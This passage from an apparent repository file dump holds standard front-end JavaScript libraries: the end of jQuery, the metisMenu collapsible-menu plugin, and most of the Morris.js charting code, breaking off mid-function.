this.length;\n};\n\njQuery.fn.andSelf = jQuery.fn.addBack;\n\n\n\n\n// Register as a named AMD module, since jQuery can be concatenated with other\n// files that may use define, but not via a proper concatenation script that\n// understands anonymous AMD modules. A named AMD is safest and most robust\n// way to register. Lowercase jquery is used because AMD module names are\n// derived from file names, and jQuery is normally delivered in a lowercase\n// file name. Do this after creating the global so that if an AMD module wants\n// to call noConflict to hide this version of jQuery, it will work.\nif ( typeof define === \"function\" && define.amd ) {\n\tdefine( \"jquery\", [], function() {\n\t\treturn jQuery;\n\t});\n}\n\n\n\n\nvar\n\t// Map over jQuery in case of overwrite\n\t_jQuery = window.jQuery,\n\n\t// Map over the $ in case of overwrite\n\t_$ = window.$;\n\njQuery.noConflict = function( deep ) {\n\tif ( window.$ === jQuery ) {\n\t\twindow.$ = _$;\n\t}\n\n\tif ( deep && window.jQuery === jQuery ) {\n\t\twindow.jQuery = _jQuery;\n\t}\n\n\treturn jQuery;\n};\n\n// Expose jQuery and $ identifiers, even in\n// AMD (#7102#comment:10, https://github.com/jquery/jquery/pull/557)\n// and CommonJS for browser emulators (#13566)\nif ( typeof noGlobal === strundefined ) {\n\twindow.jQuery = window.$ = jQuery;\n}\n\n\n\n\nreturn jQuery;\n\n}));\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/jquery.metisMenu.js",
    "content": ";(function ($, window, document, undefined) {\n\n    var pluginName = \"metisMenu\",\n        defaults = {\n            toggle: true\n        };\n        \n    function Plugin(element, options) {\n        this.element = element;\n        this.settings = $.extend({}, defaults, options);\n        this._defaults = defaults;\n        this._name = pluginName;\n        this.init();\n    }\n\n    Plugin.prototype = {\n        init: function () {\n\n            var $this = $(this.element),\n                $toggle = this.settings.toggle;\n\n            $this.find('li.active').has('ul').children('ul').addClass('collapse in');\n            $this.find('li').not('.active').has('ul').children('ul').addClass('collapse');\n\n            $this.find('li').has('ul').children('a').on('click', function (e) {\n                e.preventDefault();\n\n                $(this).parent('li').toggleClass('active').children('ul').collapse('toggle');\n\n                if ($toggle) {\n                    $(this).parent('li').siblings().removeClass('active').children('ul.in').collapse('hide');\n                }\n            });\n        }\n    };\n\n    $.fn[ pluginName ] = function (options) {\n        return this.each(function () {\n            if (!$.data(this, \"plugin_\" + pluginName)) {\n                $.data(this, \"plugin_\" + pluginName, new Plugin(this, options));\n            }\n        });\n    };\n\n})(jQuery, window, document);\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_jsp/src/main/resources/static/assets/js/morris/morris.js",
    "content": "/*======================================================================================\nCopyright (c) 2013, Olly Smith\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n    1. Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n2. Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand/or other materials provided with the distribution.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR\nANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n============================================*/\n\n(function () {\n  var $, Morris, minutesSpecHelper, secondsSpecHelper,\n    __slice = [].slice,\n    __bind = function(fn, me){ return function(){ return fn.apply(me, arguments); }; },\n    __hasProp = {}.hasOwnProperty,\n    __extends = function(child, parent) { for (var key in parent) { if (__hasProp.call(parent, key)) child[key] = parent[key]; } function ctor() { this.constructor = child; } ctor.prototype = parent.prototype; child.prototype = new ctor(); child.__super__ = parent.prototype; return child; },\n    __indexOf = [].indexOf || function(item) { for (var i = 0, l = this.length; i < l; i++) { if (i in this && this[i] === item) return i; } return -1; };\n\n  Morris = window.Morris = {};\n\n  $ = jQuery;\n\n  Morris.EventEmitter = (function() {\n    function EventEmitter() {}\n\n    EventEmitter.prototype.on = function(name, handler) {\n      if (this.handlers == null) {\n        this.handlers = {};\n      }\n      if (this.handlers[name] == null) {\n        this.handlers[name] = [];\n      }\n      this.handlers[name].push(handler);\n      return this;\n    };\n\n    EventEmitter.prototype.fire = function() {\n      var args, handler, name, _i, _len, _ref, _results;\n      name = arguments[0], args = 2 <= arguments.length ? __slice.call(arguments, 1) : [];\n      if ((this.handlers != null) && (this.handlers[name] != null)) {\n        _ref = this.handlers[name];\n        _results = [];\n        for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n          handler = _ref[_i];\n          _results.push(handler.apply(null, args));\n        }\n        return _results;\n      }\n    };\n\n    return EventEmitter;\n\n  })();\n\n  Morris.commas = function(num) {\n    var absnum, intnum, ret, strabsnum;\n    if (num != null) {\n      ret = num < 0 ? \"-\" : \"\";\n      absnum = Math.abs(num);\n      intnum = Math.floor(absnum).toFixed(0);\n      ret += intnum.replace(/(?=(?:\\d{3})+$)(?!^)/g, ',');\n      strabsnum = absnum.toString();\n      if (strabsnum.length > intnum.length) {\n        ret += strabsnum.slice(intnum.length);\n      }\n      return ret;\n    } else {\n      return '-';\n    }\n  };\n\n  Morris.pad2 = function(number) {\n    return (number < 10 ? '0' : '') + number;\n  };\n\n  Morris.Grid = (function(_super) {\n    __extends(Grid, _super);\n\n    function Grid(options) {\n      this.resizeHandler = __bind(this.resizeHandler, this);\n      var _this = this;\n      if (typeof options.element === 'string') {\n        this.el = $(document.getElementById(options.element));\n      } else {\n        this.el = $(options.element);\n      }\n      if ((this.el == null) || this.el.length === 0) {\n        throw new Error(\"Graph container element not found\");\n      }\n      if (this.el.css('position') === 'static') {\n        this.el.css('position', 'relative');\n      }\n      this.options = $.extend({}, this.gridDefaults, this.defaults || {}, options);\n      if (typeof this.options.units === 'string') {\n        this.options.postUnits = options.units;\n      }\n      this.raphael = new Raphael(this.el[0]);\n      this.elementWidth = null;\n      this.elementHeight = null;\n      this.dirty = false;\n      this.selectFrom = null;\n      if (this.init) {\n        this.init();\n      }\n      this.setData(this.options.data);\n      this.el.bind('mousemove', function(evt) {\n        var left, offset, right, width, x;\n        offset = _this.el.offset();\n        x = evt.pageX - offset.left;\n        if (_this.selectFrom) {\n          left = _this.data[_this.hitTest(Math.min(x, _this.selectFrom))]._x;\n          right = _this.data[_this.hitTest(Math.max(x, _this.selectFrom))]._x;\n          width = right - left;\n          return _this.selectionRect.attr({\n            x: left,\n            width: width\n          });\n        } else {\n          return _this.fire('hovermove', x, evt.pageY - offset.top);\n        }\n      });\n      this.el.bind('mouseleave', function(evt) {\n        if (_this.selectFrom) {\n          _this.selectionRect.hide();\n          _this.selectFrom = null;\n        }\n        return _this.fire('hoverout');\n      });\n      this.el.bind('touchstart touchmove touchend', function(evt) {\n        var offset, touch;\n        touch = evt.originalEvent.touches[0] || evt.originalEvent.changedTouches[0];\n        offset = _this.el.offset();\n        _this.fire('hover', touch.pageX - offset.left, touch.pageY - offset.top);\n        return touch;\n      });\n      this.el.bind('click', function(evt) {\n        var offset;\n        offset = _this.el.offset();\n        return _this.fire('gridclick', evt.pageX - offset.left, evt.pageY - offset.top);\n      });\n      if (this.options.rangeSelect) {\n        this.selectionRect = this.raphael.rect(0, 0, 0, this.el.innerHeight()).attr({\n          fill: this.options.rangeSelectColor,\n          stroke: false\n        }).toBack().hide();\n        this.el.bind('mousedown', function(evt) {\n          var offset;\n          offset = _this.el.offset();\n          return _this.startRange(evt.pageX - offset.left);\n        });\n        this.el.bind('mouseup', function(evt) {\n          var offset;\n          offset = _this.el.offset();\n          _this.endRange(evt.pageX - offset.left);\n          return _this.fire('hovermove', evt.pageX - offset.left, evt.pageY - offset.top);\n        });\n      }\n      if (this.options.resize) {\n        $(window).bind('resize', function(evt) {\n          if (_this.timeoutId != null) {\n            window.clearTimeout(_this.timeoutId);\n          }\n          return _this.timeoutId = window.setTimeout(_this.resizeHandler, 100);\n        });\n      }\n      if (this.postInit) {\n        this.postInit();\n      }\n    }\n\n    Grid.prototype.gridDefaults = {\n      dateFormat: null,\n      axes: true,\n      grid: true,\n      gridLineColor: '#aaa',\n      gridStrokeWidth: 0.5,\n      gridTextColor: '#888',\n      gridTextSize: 12,\n      gridTextFamily: 'sans-serif',\n      gridTextWeight: 'normal',\n      hideHover: false,\n      yLabelFormat: null,\n      xLabelAngle: 0,\n      numLines: 5,\n      padding: 25,\n      parseTime: true,\n      postUnits: '',\n      preUnits: '',\n      ymax: 'auto',\n      ymin: 'auto 0',\n      goals: [],\n      goalStrokeWidth: 1.0,\n      goalLineColors: ['#666633', '#999966', '#cc6666', '#663333'],\n      events: [],\n      eventStrokeWidth: 1.0,\n      eventLineColors: ['#005a04', '#ccffbb', '#3a5f0b', '#005502'],\n      rangeSelect: null,\n      rangeSelectColor: '#eef',\n      resize: false\n    };\n\n    Grid.prototype.setData = function(data, redraw) {\n      var e, idx, index, maxGoal, minGoal, ret, row, step, total, y, ykey, ymax, ymin, yval, _ref;\n      if (redraw == null) {\n        redraw = true;\n      }\n      this.options.data = data;\n      if ((data == null) || data.length === 0) {\n        this.data = [];\n        this.raphael.clear();\n        if (this.hover != null) {\n          this.hover.hide();\n        }\n        return;\n      }\n      ymax = this.cumulative ? 0 : null;\n      ymin = this.cumulative ? 0 : null;\n      if (this.options.goals.length > 0) {\n        minGoal = Math.min.apply(Math, this.options.goals);\n        maxGoal = Math.max.apply(Math, this.options.goals);\n        ymin = ymin != null ? Math.min(ymin, minGoal) : minGoal;\n        ymax = ymax != null ? Math.max(ymax, maxGoal) : maxGoal;\n      }\n      this.data = (function() {\n        var _i, _len, _results;\n        _results = [];\n        for (index = _i = 0, _len = data.length; _i < _len; index = ++_i) {\n          row = data[index];\n          ret = {\n            src: row\n          };\n          ret.label = row[this.options.xkey];\n          if (this.options.parseTime) {\n            ret.x = Morris.parseDate(ret.label);\n            if (this.options.dateFormat) {\n              ret.label = this.options.dateFormat(ret.x);\n            } else if (typeof ret.label === 'number') {\n              ret.label = new Date(ret.label).toString();\n            }\n          } else {\n            ret.x = index;\n            if (this.options.xLabelFormat) {\n              ret.label = this.options.xLabelFormat(ret);\n            }\n          }\n          total = 0;\n          ret.y = (function() {\n            var _j, _len1, _ref, _results1;\n            _ref = this.options.ykeys;\n            _results1 = [];\n            for (idx = _j = 0, _len1 = _ref.length; _j < _len1; idx = ++_j) {\n              ykey = _ref[idx];\n              yval = row[ykey];\n              if (typeof yval === 'string') {\n                yval = parseFloat(yval);\n              }\n              if ((yval != null) && typeof yval !== 'number') {\n                yval = null;\n              }\n              if (yval != null) {\n                if (this.cumulative) {\n                  total += yval;\n                } else {\n                  if (ymax != null) {\n                    ymax = Math.max(yval, ymax);\n                    ymin = Math.min(yval, ymin);\n                  } else {\n                    ymax = ymin = yval;\n                  }\n                }\n              }\n              if (this.cumulative && (total != null)) {\n                ymax = Math.max(total, ymax);\n                ymin = Math.min(total, ymin);\n              }\n              _results1.push(yval);\n            }\n            return _results1;\n          }).call(this);\n          _results.push(ret);\n        }\n        return _results;\n      }).call(this);\n      if (this.options.parseTime) {\n        this.data = this.data.sort(function(a, b) {\n          return (a.x > b.x) - (b.x > a.x);\n        });\n      }\n      this.xmin = this.data[0].x;\n      this.xmax = this.data[this.data.length - 1].x;\n      this.events = [];\n      if (this.options.events.length > 0) {\n        if (this.options.parseTime) {\n          this.events = (function() {\n            var _i, _len, _ref, _results;\n            _ref = this.options.events;\n            _results = [];\n            for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n              e = _ref[_i];\n              _results.push(Morris.parseDate(e));\n            }\n            return _results;\n          }).call(this);\n        } else {\n          this.events = this.options.events;\n        }\n        this.xmax = Math.max(this.xmax, Math.max.apply(Math, this.events));\n        this.xmin = Math.min(this.xmin, Math.min.apply(Math, this.events));\n      }\n      if (this.xmin === this.xmax) {\n        this.xmin -= 1;\n        this.xmax += 1;\n      }\n      this.ymin = this.yboundary('min', ymin);\n      this.ymax = this.yboundary('max', ymax);\n      if (this.ymin === this.ymax) {\n        if (ymin) {\n          this.ymin -= 1;\n        }\n        this.ymax += 1;\n      }\n      if (((_ref = this.options.axes) === true || _ref === 'both' || _ref === 'y') || this.options.grid === true) {\n        if (this.options.ymax === this.gridDefaults.ymax && this.options.ymin === this.gridDefaults.ymin) {\n          this.grid = this.autoGridLines(this.ymin, this.ymax, this.options.numLines);\n          this.ymin = Math.min(this.ymin, this.grid[0]);\n          this.ymax = Math.max(this.ymax, this.grid[this.grid.length - 1]);\n        } else {\n          step = (this.ymax - this.ymin) / (this.options.numLines - 1);\n          this.grid = (function() {\n            var _i, _ref1, _ref2, _results;\n            _results = [];\n            for (y = _i = _ref1 = this.ymin, _ref2 = this.ymax; step > 0 ? _i <= _ref2 : _i >= _ref2; y = _i += step) {\n              _results.push(y);\n            }\n            return _results;\n          }).call(this);\n        }\n      }\n      this.dirty = true;\n      if (redraw) {\n        return this.redraw();\n      }\n    };\n\n    Grid.prototype.yboundary = function(boundaryType, currentValue) {\n      var boundaryOption, suggestedValue;\n      boundaryOption = this.options[\"y\" + boundaryType];\n      if (typeof boundaryOption === 'string') {\n        if (boundaryOption.slice(0, 4) === 'auto') {\n          if (boundaryOption.length > 5) {\n            suggestedValue = parseInt(boundaryOption.slice(5), 10);\n            if (currentValue == null) {\n              return suggestedValue;\n            }\n            return Math[boundaryType](currentValue, suggestedValue);\n          } else {\n            if (currentValue != null) {\n              return currentValue;\n            } else {\n              return 0;\n            }\n          }\n        } else {\n          return parseInt(boundaryOption, 10);\n        }\n      } else {\n        return boundaryOption;\n      }\n    };\n\n    Grid.prototype.autoGridLines = function(ymin, ymax, nlines) {\n      var gmax, gmin, grid, smag, span, step, unit, y, ymag;\n      span = ymax - ymin;\n      ymag = Math.floor(Math.log(span) / Math.log(10));\n      unit = Math.pow(10, ymag);\n      gmin = Math.floor(ymin / unit) * unit;\n      gmax = Math.ceil(ymax / unit) * unit;\n      step = (gmax - gmin) / (nlines - 1);\n      if (unit === 1 && step > 1 && Math.ceil(step) !== step) {\n        step = Math.ceil(step);\n        gmax = gmin + step * (nlines - 1);\n      }\n      if (gmin < 0 && gmax > 0) {\n        gmin = Math.floor(ymin / step) * step;\n        gmax = Math.ceil(ymax / step) * step;\n      }\n      if (step < 1) {\n        smag = Math.floor(Math.log(step) / Math.log(10));\n        grid = (function() {\n          var _i, _results;\n          _results = [];\n          for (y = _i = gmin; step > 0 ? _i <= gmax : _i >= gmax; y = _i += step) {\n            _results.push(parseFloat(y.toFixed(1 - smag)));\n          }\n          return _results;\n        })();\n      } else {\n        grid = (function() {\n          var _i, _results;\n          _results = [];\n          for (y = _i = gmin; step > 0 ? _i <= gmax : _i >= gmax; y = _i += step) {\n            _results.push(y);\n          }\n          return _results;\n        })();\n      }\n      return grid;\n    };\n\n    Grid.prototype._calc = function() {\n      var bottomOffsets, gridLine, h, i, w, yLabelWidths, _ref, _ref1;\n      w = this.el.width();\n      h = this.el.height();\n      if (this.elementWidth !== w || this.elementHeight !== h || this.dirty) {\n        this.elementWidth = w;\n        this.elementHeight = h;\n        this.dirty = false;\n        this.left = this.options.padding;\n        this.right = this.elementWidth - this.options.padding;\n        this.top = this.options.padding;\n        this.bottom = this.elementHeight - this.options.padding;\n        if ((_ref = this.options.axes) === true || _ref === 'both' || _ref === 'y') {\n          yLabelWidths = (function() {\n            var _i, _len, _ref1, _results;\n            _ref1 = this.grid;\n            _results = [];\n            for (_i = 0, _len = _ref1.length; _i < _len; _i++) {\n              gridLine = _ref1[_i];\n              _results.push(this.measureText(this.yAxisFormat(gridLine)).width);\n            }\n            return _results;\n          }).call(this);\n          this.left += Math.max.apply(Math, yLabelWidths);\n        }\n        if ((_ref1 = this.options.axes) === true || _ref1 === 'both' || _ref1 === 'x') {\n          bottomOffsets = (function() {\n            var _i, _ref2, _results;\n            _results = [];\n            for (i = _i = 0, _ref2 = this.data.length; 0 <= _ref2 ? _i < _ref2 : _i > _ref2; i = 0 <= _ref2 ? ++_i : --_i) {\n              _results.push(this.measureText(this.data[i].text, -this.options.xLabelAngle).height);\n            }\n            return _results;\n          }).call(this);\n          this.bottom -= Math.max.apply(Math, bottomOffsets);\n        }\n        this.width = Math.max(1, this.right - this.left);\n        this.height = Math.max(1, this.bottom - this.top);\n        this.dx = this.width / (this.xmax - this.xmin);\n        this.dy = this.height / (this.ymax - this.ymin);\n        if (this.calc) {\n          return this.calc();\n        }\n      }\n    };\n\n    Grid.prototype.transY = function(y) {\n      return this.bottom - (y - this.ymin) * this.dy;\n    };\n\n    Grid.prototype.transX = function(x) {\n      if (this.data.length === 1) {\n        return (this.left + this.right) / 2;\n      } else {\n        return this.left + (x - this.xmin) * this.dx;\n      }\n    };\n\n    Grid.prototype.redraw = function() {\n      this.raphael.clear();\n      this._calc();\n      this.drawGrid();\n      this.drawGoals();\n      this.drawEvents();\n      if (this.draw) {\n        return this.draw();\n      }\n    };\n\n    Grid.prototype.measureText = function(text, angle) {\n      var ret, tt;\n      if (angle == null) {\n        angle = 0;\n      }\n      tt = this.raphael.text(100, 100, text).attr('font-size', this.options.gridTextSize).attr('font-family', this.options.gridTextFamily).attr('font-weight', this.options.gridTextWeight).rotate(angle);\n      ret = tt.getBBox();\n      tt.remove();\n      return ret;\n    };\n\n    Grid.prototype.yAxisFormat = function(label) {\n      return this.yLabelFormat(label);\n    };\n\n    Grid.prototype.yLabelFormat = function(label) {\n      if (typeof this.options.yLabelFormat === 'function') {\n        return this.options.yLabelFormat(label);\n      } else {\n        return \"\" + this.options.preUnits + (Morris.commas(label)) + this.options.postUnits;\n      }\n    };\n\n    Grid.prototype.drawGrid = function() {\n      var lineY, y, _i, _len, _ref, _ref1, _ref2, _results;\n      if (this.options.grid === false && ((_ref = this.options.axes) !== true && _ref !== 'both' && _ref !== 'y')) {\n        return;\n      }\n      _ref1 = this.grid;\n      _results = [];\n      for (_i = 0, _len = _ref1.length; _i < _len; _i++) {\n        lineY = _ref1[_i];\n        y = this.transY(lineY);\n        if ((_ref2 = this.options.axes) === true || _ref2 === 'both' || _ref2 === 'y') {\n          this.drawYAxisLabel(this.left - this.options.padding / 2, y, this.yAxisFormat(lineY));\n        }\n        if (this.options.grid) {\n          _results.push(this.drawGridLine(\"M\" + this.left + \",\" + y + \"H\" + (this.left + this.width)));\n        } else {\n          _results.push(void 0);\n        }\n      }\n      return _results;\n    };\n\n    Grid.prototype.drawGoals = function() {\n      var color, goal, i, _i, _len, _ref, _results;\n      _ref = this.options.goals;\n      _results = [];\n      for (i = _i = 0, _len = _ref.length; _i < _len; i = ++_i) {\n        goal = _ref[i];\n        color = this.options.goalLineColors[i % this.options.goalLineColors.length];\n        _results.push(this.drawGoal(goal, color));\n      }\n      return _results;\n    };\n\n    Grid.prototype.drawEvents = function() {\n      var color, event, i, _i, _len, _ref, _results;\n      _ref = this.events;\n      _results = [];\n      for (i = _i = 0, _len = _ref.length; _i < _len; i = ++_i) {\n        event = _ref[i];\n        color = this.options.eventLineColors[i % this.options.eventLineColors.length];\n        _results.push(this.drawEvent(event, color));\n      }\n      return _results;\n    };\n\n    Grid.prototype.drawGoal = function(goal, color) {\n      return this.raphael.path(\"M\" + this.left + \",\" + (this.transY(goal)) + \"H\" + this.right).attr('stroke', color).attr('stroke-width', this.options.goalStrokeWidth);\n    };\n\n    Grid.prototype.drawEvent = function(event, color) {\n      return this.raphael.path(\"M\" + (this.transX(event)) + \",\" + this.bottom + \"V\" + this.top).attr('stroke', color).attr('stroke-width', this.options.eventStrokeWidth);\n    };\n\n    Grid.prototype.drawYAxisLabel = function(xPos, yPos, text) {\n      return this.raphael.text(xPos, yPos, text).attr('font-size', this.options.gridTextSize).attr('font-family', this.options.gridTextFamily).attr('font-weight', this.options.gridTextWeight).attr('fill', this.options.gridTextColor).attr('text-anchor', 'end');\n    };\n\n    Grid.prototype.drawGridLine = function(path) {\n      return this.raphael.path(path).attr('stroke', this.options.gridLineColor).attr('stroke-width', this.options.gridStrokeWidth);\n    };\n\n    Grid.prototype.startRange = function(x) {\n      this.hover.hide();\n      this.selectFrom = x;\n      return this.selectionRect.attr({\n        x: x,\n        width: 0\n      }).show();\n    };\n\n    Grid.prototype.endRange = function(x) {\n      var end, start;\n      if (this.selectFrom) {\n        start = Math.min(this.selectFrom, x);\n        end = Math.max(this.selectFrom, x);\n        this.options.rangeSelect.call(this.el, {\n          start: this.data[this.hitTest(start)].x,\n          end: this.data[this.hitTest(end)].x\n        });\n        return this.selectFrom = null;\n      }\n    };\n\n    Grid.prototype.resizeHandler = function() {\n      this.timeoutId = null;\n      this.raphael.setSize(this.el.width(), this.el.height());\n      return this.redraw();\n    };\n\n    return Grid;\n\n  })(Morris.EventEmitter);\n\n  Morris.parseDate = function(date) {\n    var isecs, m, msecs, n, o, offsetmins, p, q, r, ret, secs;\n    if (typeof date === 'number') {\n      return date;\n    }\n    m = date.match(/^(\\d+) Q(\\d)$/);\n    n = date.match(/^(\\d+)-(\\d+)$/);\n    o = date.match(/^(\\d+)-(\\d+)-(\\d+)$/);\n    p = date.match(/^(\\d+) W(\\d+)$/);\n    q = date.match(/^(\\d+)-(\\d+)-(\\d+)[ T](\\d+):(\\d+)(Z|([+-])(\\d\\d):?(\\d\\d))?$/);\n    r = date.match(/^(\\d+)-(\\d+)-(\\d+)[ T](\\d+):(\\d+):(\\d+(\\.\\d+)?)(Z|([+-])(\\d\\d):?(\\d\\d))?$/);\n    if (m) {\n      return new Date(parseInt(m[1], 10), parseInt(m[2], 10) * 3 - 1, 1).getTime();\n    } else if (n) {\n      return new Date(parseInt(n[1], 10), parseInt(n[2], 10) - 1, 1).getTime();\n    } else if (o) {\n      return new Date(parseInt(o[1], 10), parseInt(o[2], 10) - 1, parseInt(o[3], 10)).getTime();\n    } else if (p) {\n      ret = new Date(parseInt(p[1], 10), 0, 1);\n      if (ret.getDay() !== 4) {\n        ret.setMonth(0, 1 + ((4 - ret.getDay()) + 7) % 7);\n      }\n      return ret.getTime() + parseInt(p[2], 10) * 604800000;\n    } else if (q) {\n      if (!q[6]) {\n        return new Date(parseInt(q[1], 10), parseInt(q[2], 10) - 1, parseInt(q[3], 10), parseInt(q[4], 10), parseInt(q[5], 10)).getTime();\n      } else {\n        offsetmins = 0;\n        if (q[6] !== 'Z') {\n          offsetmins = parseInt(q[8], 10) * 60 + parseInt(q[9], 10);\n          if (q[7] === '+') {\n            offsetmins = 0 - offsetmins;\n          }\n        }\n        return Date.UTC(parseInt(q[1], 10), parseInt(q[2], 10) - 1, parseInt(q[3], 10), parseInt(q[4], 10), parseInt(q[5], 10) + offsetmins);\n      }\n    } else if (r) {\n      secs = parseFloat(r[6]);\n      isecs = Math.floor(secs);\n      msecs = Math.round((secs - isecs) * 1000);\n      if (!r[8]) {\n        return new Date(parseInt(r[1], 10), parseInt(r[2], 10) - 1, parseInt(r[3], 10), parseInt(r[4], 10), parseInt(r[5], 10), isecs, msecs).getTime();\n      } else {\n        offsetmins = 0;\n        if (r[8] !== 'Z') {\n          offsetmins = parseInt(r[10], 10) * 60 + parseInt(r[11], 10);\n          if (r[9] === '+') {\n            offsetmins = 0 - offsetmins;\n          }\n        }\n        return Date.UTC(parseInt(r[1], 10), parseInt(r[2], 10) - 1, parseInt(r[3], 10), parseInt(r[4], 10), parseInt(r[5], 10) + offsetmins, isecs, msecs);\n      }\n    } else {\n      return new Date(parseInt(date, 10), 0, 1).getTime();\n    }\n  };\n\n  Morris.Hover = (function() {\n    Hover.defaults = {\n      \"class\": 'morris-hover morris-default-style'\n    };\n\n    function Hover(options) {\n      if (options == null) {\n        options = {};\n      }\n      this.options = $.extend({}, Morris.Hover.defaults, options);\n      this.el = $(\"<div class='\" + this.options[\"class\"] + \"'></div>\");\n      this.el.hide();\n      this.options.parent.append(this.el);\n    }\n\n    Hover.prototype.update = function(html, x, y) {\n      this.html(html);\n      this.show();\n      return this.moveTo(x, y);\n    };\n\n    Hover.prototype.html = function(content) {\n      return this.el.html(content);\n    };\n\n    Hover.prototype.moveTo = function(x, y) {\n      var hoverHeight, hoverWidth, left, parentHeight, parentWidth, top;\n      parentWidth = this.options.parent.innerWidth();\n      parentHeight = this.options.parent.innerHeight();\n      hoverWidth = this.el.outerWidth();\n      hoverHeight = this.el.outerHeight();\n      left = Math.min(Math.max(0, x - hoverWidth / 2), parentWidth - hoverWidth);\n      if (y != null) {\n        top = y - hoverHeight - 10;\n        if (top < 0) {\n          top = y + 10;\n          if (top + hoverHeight > parentHeight) {\n            top = parentHeight / 2 - hoverHeight / 2;\n          }\n        }\n      } else {\n        top = parentHeight / 2 - hoverHeight / 2;\n      }\n      return this.el.css({\n        left: left + \"px\",\n        top: parseInt(top) + \"px\"\n      });\n    };\n\n    Hover.prototype.show = function() {\n      return this.el.show();\n    };\n\n    Hover.prototype.hide = function() {\n      return this.el.hide();\n    };\n\n    return Hover;\n\n  })();\n\n  Morris.Line = (function(_super) {\n    __extends(Line, _super);\n\n    function Line(options) {\n      this.hilight = __bind(this.hilight, this);\n      this.onHoverOut = __bind(this.onHoverOut, this);\n      this.onHoverMove = __bind(this.onHoverMove, this);\n      this.onGridClick = __bind(this.onGridClick, this);\n      if (!(this instanceof Morris.Line)) {\n        return new Morris.Line(options);\n      }\n      Line.__super__.constructor.call(this, options);\n    }\n\n    Line.prototype.init = function() {\n      if (this.options.hideHover !== 'always') {\n        this.hover = new Morris.Hover({\n          parent: this.el\n        });\n        this.on('hovermove', this.onHoverMove);\n        this.on('hoverout', this.onHoverOut);\n        return this.on('gridclick', this.onGridClick);\n      }\n    };\n\n    Line.prototype.defaults = {\n      lineWidth: 3,\n      pointSize: 4,\n      lineColors: ['#0b62a4', '#7A92A3', '#4da74d', '#afd8f8', '#edc240', '#cb4b4b', '#9440ed'],\n      pointStrokeWidths: [1],\n      pointStrokeColors: ['#ffffff'],\n      pointFillColors: [],\n      smooth: true,\n      xLabels: 'auto',\n      xLabelFormat: null,\n      xLabelMargin: 24,\n      continuousLine: true,\n      hideHover: false\n    };\n\n    Line.prototype.calc = function() {\n      this.calcPoints();\n      return this.generatePaths();\n    };\n\n    Line.prototype.calcPoints = function() {\n      var row, y, _i, _len, _ref, _results;\n      _ref = this.data;\n      _results = [];\n      for (_i = 0, _len = _ref.length; _i < _len; _i++) {\n        row = _ref[_i];\n        row._x = this.transX(row.x);\n        row._y = (function() {\n          var _j, _len1, _ref1, _results1;\n          _ref1 = row.y;\n          _results1 = [];\n          for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n            y = _ref1[_j];\n            if (y != null) {\n              _results1.push(this.transY(y));\n            } else {\n              _results1.push(y);\n            }\n          }\n          return _results1;\n        }).call(this);\n        _results.push(row._ymax = Math.min.apply(Math, [this.bottom].concat((function() {\n          var _j, _len1, _ref1, _results1;\n          _ref1 = row._y;\n          _results1 = [];\n          for (_j = 0, _len1 = _ref1.length; _j < _len1; _j++) {\n            y = _ref1[_j];\n            if (y != null) {\n              _results1.push(y);\n            }\n          }\n          return _results1;\n        })())));\n      }\n      return _results;\n    };\n\n    Line.prototype.hitTest = function(x) {\n      var index, r, _i, _len, _ref;\n      if (this.data.length === 0) {\n        return null;\n      }\n      _ref = this.data.slice(1);\n      for (index = _i = 0, _len = _ref.length; _i < _len; index = ++_i) {\n        r = _ref[index];\n        if (x < (r._x + this.data[index]._x) / 2) {\n          break;\n        }\n      }\n      return index;\n    };\n\n    Line.prototype.onGridClick = function(x, y) {\n      var index;\n      index = this.hitTest(x);\n      return this.fire('click', index, this.data[index].src, x, y);\n    };\n\n    Line.prototype.onHoverMove = function(x, y) {\n      var index;\n      index = this.hitTest(x);\n      return this.displayHoverForRow(index);\n    };\n\n    Line.prototype.onHoverOut = function() {\n      if (this.options.hideHover !== false) {\n        return this.displayHoverForRow(null);\n      }\n    };\n\n    Line.prototype.displayHoverForRow = function(index) {\n      var _ref;\n      if (index != null) {\n        (_ref = this.hover).update.apply(_ref, this.hoverContentForRow(index));\n        return this.hilight(index);\n      } else {\n        this.hover.hide();\n        return this.hilight();\n      }\n    };\n\n    Line.prototype.hoverContentForRow = function(index) {\n      var content, j, row, y, _i, _len, _ref;\n      row = this.data[index];\n      content = \"<div class='morris-hover-row-label'>\" + row.label + \"</div>\";\n      _ref = row.y;\n      for (j = _i = 0, _len = _ref.length; _i < _len; j = ++_i) {\n        y = _ref[j];\n        content += \"<div class='morris-hover-point' style='color: \" + (this.colorFor(row, j, 'label')) + \"'>\\n  \" + this.options.labels[j] + \":\\n  \" + (this.yLabelFormat(y)) + \"\\n</div>\";\n      }\n      if (typeof this.options.hoverCallback === 'function') {\n        content = this.options.hoverCallback(index, this.options, content, row.src);\n      }\n      return [content, row._x, row._ymax];\n    };\n\n    Line.prototype.generatePaths = function() {\n      var c, coords, i, r, smooth;\n      return this.paths = (function() {\n        var _i, _ref, _ref1, _results;\n        _results = [];\n        for (i = _i = 0, _ref = this.options.ykeys.length; 0 <= _ref ? _i < _ref : _i > _ref; i = 0 <= _ref ? ++_i : --_i) 